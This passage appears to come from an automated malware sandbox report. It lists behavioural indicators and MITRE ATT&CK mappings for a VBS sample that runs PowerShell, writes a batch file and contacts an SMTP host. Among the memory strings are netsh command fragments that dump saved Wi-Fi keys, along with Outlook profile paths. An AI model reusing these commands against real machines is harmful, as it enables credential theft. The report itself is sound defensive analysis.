Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"\n \"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"\n \"cmd.exe\" trying to access non-existent file \"C:\\%NVM_HOME%\"\n \"cmd.exe\" trying to access non-existent file \"%NVM_HOME%\\set.*\"\n \"cmd.exe\" trying to access non-existent file \"C:\\%NVM_SYMLINK%\"\n \"cmd.exe\" trying to access non-existent file \"%NVM_SYMLINK%\\set.*\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"WScript.exe\" writes file \"c:\\users\\public\\fieldbuilding.bat\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00005280-00000C2B-3062212108\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Attempts to call internet-related API for network communication","description":"\"WScript.exe\" called \"NtAlpcSendWaitReceivePort\" with parameters (UID: 00000000-00005700)\n \"WScript.exe\" called \"NtConnectPort\" with parameters (UID: 00000000-00005700)\n \"WScript.exe\" called \"NtRequestWaitReplyPort\" with parameters (UID: 00000000-00005700)\n \"WScript.exe\" called \"NtAlpcConnectPortEx\" with parameters (UID: 00000000-00005700)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-291","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005280-00000C2B-3062190826\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005280-00000C2B-3063264820\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005280-00000C2B-3063264861\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00005280-00000C2B-3063381709\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005280-00000C2B-3063384217\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"file/memory contains long string with (Indicator: \"smtp\"; File: \"Form_1759970159.vbs\")","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00005280-00000C2B-3062190826\")\n Found reference to API \"gethostname\" (Indicator: \"gethostname\"; Source: \"00000000-00005280-00000C2B-3062219896\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4d","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET / HTTP/1.1\nHost: icanhazip.com\nConnection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"mail.clarsachsociety.co.uk\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 6a5d235ee78c6aede6a61448b4e9ff1e","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"mail.clarsachsociety.co.uk\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - High entropy file","description":"YARA signature to detect high entropy file process \"00000000-00005280\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-605","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Medium entropy File","description":"YARA signature to detect medium entropy file process \"00000000-00005280\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-606","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00005280\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on process \"00000000-00005280\"","origin":"YARA Signature","mitre_attack_id":"T1027","id":"yara-104","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00005280\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – ROR algorithm","description":"YARA signature matched on R0R instruction used in process \"00000000-00005280\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":1,"id":"yara-209","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005280.00000000.258219.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00005280.00000001.260141.9D430000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access system credential hash file","description":"Found string \"componenthashtableentry\" (Indicator: \"nthash\"; Source: \"00000000-00005280.00000001.260141.9D5F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003.002","relevance":1,"id":"string-867","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"\" (Indicator: \"--user-data-dir\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1550.004","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (Source: \"00000000-00005280-00000C2B-3070697716\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005280)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"26dbf44daf0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$50","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Where-Object\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"ForEach-Object\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp, 00000000-00005280.00000002.262058.BF880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Variable\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Get-ExecutionPolicy\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Get-Random\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Get-ChildItem\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"Win32API|GetSystemMetrics|SM_DEBUG\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"Found string \"hcp 65001 && netsh wlan show profile | findstr All\" (Indicator: \"findstr \"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")\n Found string \"key=clear | findstr Key\" (Indicator: \"findstr \"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1552","relevance":1,"id":"string-334","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$53","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\"oftware\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp\n \"oftware\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp\n \"oftware\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$54","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005280-00000C2B-3030928418\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: 